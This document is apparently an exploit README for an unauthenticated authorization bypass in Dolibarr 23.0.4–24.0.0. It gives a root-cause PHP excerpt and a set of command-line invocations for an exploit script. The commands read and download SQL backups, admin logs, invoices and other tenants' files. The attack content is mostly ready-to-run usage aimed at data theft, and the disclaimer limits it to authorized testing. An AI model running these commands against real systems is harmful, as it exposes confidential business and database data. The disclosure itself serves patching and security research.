Exploit for CVE-2026-89013

## https://sploitus.com/exploit?id=BAAF8349-AB02-5C71-B94E-0F3276B4A5E9
# CVE-2026-89013 — Dolibarr hashp=shared Authorization Bypass

Exploit for CVE-2026-89013: `document.php` and `viewimage.php` force `NOLOGIN` when
the `hashp` parameter is present. The internal marker value `shared` skips
share-token resolution, but the access-control override still fires for any
non-empty value and sets `$accessallowed = 1`, discarding the result of
`dol_check_secure_access_document()`. An unauthenticated request can therefore
read any file in every modulepart tree: business documents, admin logs, SQL
backups (`modulepart=systemtools`), custom module sources (`modulepart=packages`),
and other multicompany entities via `&entity=N`.

Record: 

| | |
|---|---|
| Affected | Dolibarr 23.0.4 – 24.0.0 |
| Fixed | 24.0.1 |
| Prerequisites | none (unauthenticated) |
| Impact | arbitrary file read within Dolibarr's managed directories |

## Root cause

```php
// htdocs/document.php:189 (24.0.0) — 'shared' skips token resolution
if (!empty($hashp) && $hashp != 'shared') { ...resolve share token... }

// htdocs/document.php:292 — but any hashp forces access
if (!empty($hashp)) {
    $accessallowed = 1;
    $sqlprotectagainstexternals = '';
}
```

A regression of commit `5028dae981e` (2026-08-12), first shipped in 23.0.4 and
24.0.0. Traversal (`../`) is sanitized server-side — this is an authorization
bypass, not a path traversal.

## Usage

```bash
# detection (safe, nonexistent canary file)
python3 CVE-2026-89013.py https://erp.local check

# readable modulepart trees
python3 CVE-2026-89013.py https://erp.local list

# hunt: dolibarr.log + SQL backups (generated filenames) + user vcards
python3 CVE-2026-89013.py https://erp.local hunt --db-name dolibarr --days 3 --save

# read / download
python3 CVE-2026-89013.py https://erp.local read logs/admin/logs/dolibarr.log
python3 CVE-2026-89013.py https://erp.local download systemtools/backup/backup.sql
python3 CVE-2026-89013.py https://erp.local read facture/FA2601-0001/FA2601-0001.pdf --entity 2

# PDFs via viewimage.php
python3 CVE-2026-89013.py https://erp.local viewimage facture/FA2601-0001/FA2601-0001.pdf
```

Standard library only (Python 3.8+). Supports `--proxy`, `--insecure`, `--timeout`.

![demo](CVE-2026-89013.png)

## References

- CVE record: 
- Fixed release: 
- Fix commits:
  - 
  - 
  - 
- Regression origin: 

## Disclaimer

For authorized testing and research only. Use only against systems you own or
have explicit permission to test.